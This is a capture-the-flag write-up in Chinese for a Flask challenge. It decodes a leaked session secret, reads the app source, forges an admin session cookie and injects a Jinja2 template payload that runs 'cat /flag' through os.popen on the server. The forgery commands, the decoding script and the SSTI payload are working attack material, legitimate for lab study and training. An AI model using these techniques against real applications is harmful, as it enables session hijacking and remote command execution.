记一道 Flask 题目

记一道 Flask 题目(SSTI 和 Session 伪造)

题目来源

second-xupt-ctf flask

考察内容

Flask 的模板注入和 Session 伪造

解题部分

读取 Session

打开题目,根据提示向name进行 POST 传参,随便传一个name=123,页面变成了:

1
Hello,123

第一感觉就是 SSTI,但尝试name={{2*2}}name={{7+7}},都没有发现什么,转眼来看看 Session,一看果然有:

1
eyJyb2xlIjp7ImlzX2FkbWluIjowLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.YpN2Ew.4qiPyZ2fTZ0rtn5PSaClWajo5IA

一下就想到 Session 的伪造,拿脚本直接解密试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

直接能得到:

1
{'role': {'is_admin': 0, 'name': 'test', 'secret_key': 'VGgxc0BvbmUhc2VDcmV0IQ=='}}

这直接把secret_key给放出来了?显然是 Base64,拿来去解码,得到:

1
Th1s@one!seCret!

但光拿到secret_key也不够啊,看看能不能找到其他可以利用的点,最后在根目录的响应中发现了hint: Part of the source in /source(也可以通过 dirsearch 扫描得知,如下)

使用 dirsearch 扫描的结果

读取源码

访问/source得到(格式化了,并去掉了一部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@app.route('/source')
def source():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index('source'):]

@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return '~~~~~~hacker!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
flag = filter(flag)
message = "%s, I hope you have a good time!your flag is " % flag
return render_template_string(message)
else:
return "I don't know you"

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

简单分析源码发现,我们要进入/admin这个路由,然后伪造 Session 成为 admin,因为通过 19 和 20 代码发现这里存在 SSTI

伪造 Session

直接使用 脚本 进行伪造(key 文件的内容是 secret_key,这样写是因为直接写会让 bash 会对secret_key产生歧义):

1
python make.py encode -s "`cat key`" -t "{'role': {'is_admin': 1, 'name': 'test', 'secret_key': 'VGgxc0BvbmUhc2VDcmV0IQ==', 'flag': '{{config}}'}}"

得到(每次生成的内容会有些不一样):

1
eyJyb2xlIjp7ImZsYWciOiJ7e2NvbmZpZ319IiwiaXNfYWRtaW4iOjEsIm5hbWUiOiJ0ZXN0Iiwic2VjcmV0X2tleSI6IlZHZ3hjMEJ2Ym1VaGMyVkRjbVYwSVE9PSJ9fQ.YpN_Aw.M5za75JpmyKiqCSeK0RA8CaAK4A

覆盖原有的 Session,访问admin,看到:

成功 SSTI

说明 SSTI 成功了(这里也可以用{{7*7}}来验证),现在来构造 Payload 来读取 Flag(省去了secret_key):

1
python make.py encode -s "`cat key`" -t '{"role": {"is_admin": 1, "name": "test", "flag": "{{config.__class__.__init__.__globals__.os.popen(\x27cat /flag\x27).read()}}"}}'

得到:

1
.eJwdjcEKhDAMBX9leRcVpMte-zMhW2sJ1ERMb6X_vrq3YWCYjstqRuzYKxdE9J5MdymBKFV2J7pJVNofSrUv10eah9POrPOUuL3eTz0t4cq8zcsYWCFOvB2iiJ8Vysc9QcveMMYPexcoOA.YpTOeQ.QaV7YYeoxlIVXet2n1_D3vA8UTc

在这里题目作者说:

在构造payload时需要注意的是不能出现单引号,在伪造 Session 的过程中 单引号会丢失(这应该与它的加密原理有关),所以咱们可以用十六进制 \0x27 进行绕过。